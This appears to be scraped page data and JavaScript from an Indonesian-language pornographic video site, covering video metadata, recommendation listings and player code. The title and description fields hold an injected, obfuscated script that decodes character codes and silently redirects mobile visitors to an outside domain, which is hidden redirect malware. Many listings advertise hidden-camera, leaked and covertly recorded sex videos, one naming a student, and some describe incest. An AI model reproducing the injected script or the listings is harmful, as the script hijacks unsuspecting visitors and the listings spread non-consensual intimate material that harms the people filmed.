</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Diam-diam direkam, bocor, seks oral di toilet bar, tak bisa menahan diri
Diam-diam direkam, bocor, seks oral di toilet bar, tak bisa menahan diri","site_id":0,"video_url":"https://2606.senlin2026.com/20260705/nJFUPldj/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDcvNTM5NzVjNzRlYWZkNzYyNjViMjVjMjBhNWM3NGVhMWEuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["Merekam secara diam-diam","tepuk tepuk","seks oral","kamar mandi","batang","Aku tidak bisa menahannya","Bocor","Tak sanggup menanggung","toilet bar","Aku tak bisa menahan diri lagi."],"site_url":"276871","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["野外露出"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDcvNTM5NzVjNzRlYWZkNzYyNjViMjVjMjBhNWM3NGVhMWEuanBn.cache","maker":"","table_name":"videos_senlinzy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"偷拍泄密酒吧厕所口交啪啪忍不住了","s_keywords":"偷拍泄密酒吧厕所口交啪啪忍不住了","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Diam-diam direkam, bocor, seks oral di toilet bar, tak bisa menahan diri","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODA1YTIxNWU0YmViOTIyM2QyMTA1NmI2N2RiZWQyNTkuanBn.cache","vod_id":19241403,"title":"mengerang dan mendesah saat berhubungan seks dengan kekasihnya","lastmod":"2026-01-25","duration":"0:19:29","url":"/play/19241403.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOWNmM2IzN2Q3YTg3M2RkMmMxZjlhNGI1MGI1YTI2MzYuanBn.cache","vod_id":19135198,"title":"Teknik seks oral dan teknik racun sama-sama luar biasa!","lastmod":"2025-03-29","duration":"0:19:17","url":"/play/19135198.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTAzOTMzZDdkYmI3NGRmODk2MTE2MjUxNjg4Zjg2Y2MuanBn.cache","vod_id":19133251,"title":"Pria berpenis besar menyetubuhi seorang pekerja kantoran berusia 20 tahun yang mengenakan seragam dengan celana terbuka di selangkangan!","lastmod":"2025-03-29","duration":"1:21:25","url":"/play/19133251.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMTVjMzUxY2E2OWE0ODEyYmRmNTgzMjY5NTA5NDU1ZjguanBn.cache","vod_id":19095125,"title":"Seorang gadis cantik dan manis berkacamata sedang berhubungan seks di sofa. Dia duduk di atasmu, menyentuh dan menggoda, dengan close-up saat dia membuka kakinya dan disetubuhi dengan penuh gairah.","lastmod":"2025-03-29","duration":"0:40:42","url":"/play/19095125.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNmZjMTg5Zjg1OGE2N2RkMjFiMmVlYTVmMjk3NTYxYWIuanBn.cache","vod_id":19057530,"title":"[Ulasan] 336KNB-091 Buku Gambar Pornografi Nasional untuk Wanita Menikah. Perekrutan wanita menikah secara nasional; video seks diunggah online selama perjalanan bisnis. Nona Aika, 28 tahun, menikah selama 1 tahun. Seorang istri yang frustrasi merekam video dewasa tanpa sepengetahuan suaminya! Nikmati teknik seks oral yang luar biasa yang memberi Anda orgasme instan dan seks intens dengannya yang menembus jauh ke dalam vagina Anda; lepaskan hasrat seksual Anda sesuai dengan naluri Anda!","lastmod":"2025-03-29","duration":"1:06:00","url":"/play/19057530.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMGQ1NTg1Y2I3NmIyYmFiOGFmOThjOTBiYmJkNGM3MzMuanBn.cache","vod_id":19161513,"title":"Ketika adik perempuan pacarnya, Kanna, mendapati dia berpantang dan masturbasi, dia menatapnya sambil melakukan seks oral, menyebabkan dia ejakulasi berkali-kali [ejakulasi gagal] - Misaki Kana","lastmod":"2025-03-30","duration":"2:57:24","url":"/play/19161513.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MjQvNWQ3ZGQ2ODAxYWFmYmU5NTQzM2Y4YjNkNDhiMTZiNDEuanBn.cache","vod_id":19199128,"title":"Melakukan aktivitas seksual secara terang-terangan di ruang kuliah S404 Universitas Sains dan Teknologi Heilongjiang.","lastmod":"2025-04-24","duration":"","url":"/play/19199128.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvNTI2ZGVlOTZjYjc1MWJiNjlhNGJiZTE4MGQzOWRjODYuanBn.cache","vod_id":19233196,"title":"Pemotretan pribadi skala besar berkualitas tinggi dan populer dari dewi RouTu, tarian telanjang berbayar, seks, dan KJ4.","lastmod":"2025-12-13","duration":"0:08:33","url":"/play/19233196.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTYvNDc0ZDNjOWJhYmIxZTA2YWMzMTdkOWJmMzI1MzgyZTAuanBn.cache","vod_id":19222467,"title":"Seorang wanita cantik yang sudah menikah dan bekerja di kedai kopi terdekat adalah dewi mesum yang menikmati seks oral dengan menelan air mani dan orgasme berkali-kali. Meskipun sudah menikah, dia memohon untuk berhubungan seks tanpa kondom. (Sayu Nanahara, VENZ034)","lastmod":"2025-09-15","duration":"1:51:11","url":"/play/19222467.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOGRiMjU5MGU4NWJhNGM0ZDY5NTQyZjI5NzczMjM0Y2UuanBn.cache","vod_id":19050840,"title":"Seorang gadis nakal berhubungan intim dengan seorang pria di toilet mal dan mereka langsung berkelahi di sana.","lastmod":"2025-03-29","duration":"0:08:27","url":"/play/19050840.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MjIvYzI4YjIzYThmZTg0NzZhZTI0YmViZTJmODY1ZGQzYzMuanBn.cache","vod_id":19208880,"title":"GOJU290 Seorang pria yang dipermainkan dan diejakulasi oleh seorang wanita dewasa. Seks oral dari wanita dewasa berusia 50 tahun itu luar biasa. 25 jam, 26 orang.","lastmod":"2025-06-22","duration":"5:01:20","url":"/play/19208880.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MDYvNjE5YjEzMmM4M2ExYmI5NDNhOTMyMzU4OTkxNzRiNjkuanBn.cache","vod_id":19262220,"title":"Lin Chuqian, seorang mahasiswi di Universitas Media Zhejiang, diam-diam direkam dan diungkap kedoknya. Ia ditipu oleh seorang pewaris kaya raya palsu, tidak hanya gagal mendapatkan uang sepeser pun tetapi juga mengalami pelecehan seksual.","lastmod":"2026-06-05","duration":"0:13:09","url":"/play/19262220.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2QyYzU1Zjc2ZjFiODc1YTY1MTk1NWMzNjgzYWZiMzkuanBn.cache","vod_id":19083806,"title":"Seorang gadis cantik dan seksi dengan kaki panjang sedang menunggangi Anda dan menggoyangkan tubuhnya dengan penuh semangat!","lastmod":"2025-03-29","duration":"1:16:11","url":"/play/19083806.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MTIvYjNiOTVlNmEwZDQxMzU4YjBiNzQ4ODhmOWU5NTUxYzIuanBn.cache","vod_id":19263211,"title":"Menggoda siswi-siswi berpenampilan polos di bar; gadis-gadis ini murni dan memikat, dan erangan mereka manis dan menawan.","lastmod":"2026-06-11","duration":"0:08:05","url":"/play/19263211.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZDExOTMzY2RmMzQ0NjU1YmE0MTU2YmE0Yjg5OTE5ODYuanBn.cache","vod_id":19031370,"title":"[Buku Harian Inses 16-19│22] Seorang pria perjaka menghabiskan setengah tahun merekam hubungan insesnya dengan foto dan kronologi: dari merayu ibunya hingga merekam secara diam-diam dan akhirnya melakukan inses secara terang-terangan~ Bagian 16-19 dari 22","lastmod":"2025-03-28","duration":"0:34:13","url":"/play/19031370.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMWE0YjhlN2EyNTVmZjYwZGRmMjcwYmYzZGRhOWVkZTQuanBn.cache","vod_id":19063617,"title":"Aku menjemput seorang gadis cantik, membayarnya untuk melihat payudaranya, dia blasteran, cantik dan imut, dan dia setuju untuk berhubungan seks denganku.","lastmod":"2025-03-29","duration":"0:37:36","url":"/play/19063617.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMWZiMGZkNDZjMjA1OTEyMzkwZmJlYmQ1NDUyN2MzNzEuanBn.cache","vod_id":19102730,"title":"#Wanita Berwajah Imut, model 170cm dan wanita dewasa berhubungan seks dengan pria yang lebih muda","lastmod":"2025-03-29","duration":"1:48:26","url":"/play/19102730.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzA4ZTJiMmNlNDM2YjZlNTYyNzkyNTEyYmMzZjFmNzEuanBn.cache","vod_id":19095012,"title":"Seorang gadis bertubuh seksi berganti pakaian menjadi bodysuit jala untuk berhubungan seks di sebuah hotel, berlutut untuk melakukan seks oral dan kemudian menungganginya dari belakang, sambil mengerang dengan menggoda.","lastmod":"2025-03-29","duration":"1:01:23","url":"/play/19095012.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTgvMGFiYzBhMTczYTRmMWJmODljYWM3ZDRlYmQwMzE5NGMuanBn.cache","vod_id":19208352,"title":"Seri Kamera Tersembunyi Hotel: Hotel Cinta","lastmod":"2025-06-18","duration":"0:41:43","url":"/play/19208352.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTM3NmZkNGQ5NTUyZDU3NTMzM2IyMjYwMTU4NWNkOGQuanBn.cache","vod_id":19031782,"title":"[Seorang wanita yang sangat cantik dengan bentuk tubuh yang menawan dan payudara besar] Seorang wanita cantik dan pacarnya melakukan hubungan seks yang intens sambil berdiri di kamar mandi - setelah itu mereka bertengkar hebat dan berkelahi.","lastmod":"2025-03-28","duration":"0:39:23","url":"/play/19031782.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMTcvODUxNGRlZTE0NmUxMDIyMTBiZDUxMzU4NTFiY2MxYTUuanBn.cache","vod_id":19230917,"title":"Rekaman Kamera Tersembunyi - Pria Berpenis Besar Membayar Harga Mahal untuk Berhubungan Seks dengan Gadis Pirang Langsing dan Manis","lastmod":"2025-11-16","duration":"0:43:34","url":"/play/19230917.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2NjZTk3ZjIxYzQzZWU1ZDI1MTFmYzdmZjAzOThhZDkuanBn.cache","vod_id":19137314,"title":"Si Gendut Kecil diam-diam merekam dirinya sendiri saat berhubungan seks dengan pacarnya yang bertubuh berisi menggunakan SXT, dan mereka berkeringat deras dengan ekspresi yang lucu!","lastmod":"2025-03-29","duration":"0:18:37","url":"/play/19137314.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MjIvNDJkNjUyOWI4MDVmNDNkNjBjZGE0N2M0MjljMTIzOTMuanBn.cache","vod_id":19214442,"title":"Model pria berkulit gelap, berotot, dan tampan menjalani seks oral dan menjilat payudara selama sesi pemotretan, yang merangsangnya hingga mencapai orgasme.","lastmod":"2025-07-21","duration":"0:05:55","url":"/play/19214442.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9mYS5zbDI2MDIwNC50b3AvdXBsb2FkL3ZvZC8yMDI2MDIyNi0xL2M4NDQ3YzJmZTViMGNjZDQyZjhlMGUzMGUwNjkyOWU1LmpwZw==.cache","vod_id":19246624,"title":"Seorang wanita berkulit putih yang sudah menikah sedang melakukan seks oral di rumah, vaginanya dimainkan oleh penis, dan dia disetubuhi dari samping dan ejakulasi di dalam.","lastmod":"2026-02-26","duration":"0:28:53","url":"/play/19246624.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Diam-diam direkam, bocor, seks oral di toilet bar, tak bisa menahan diri',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}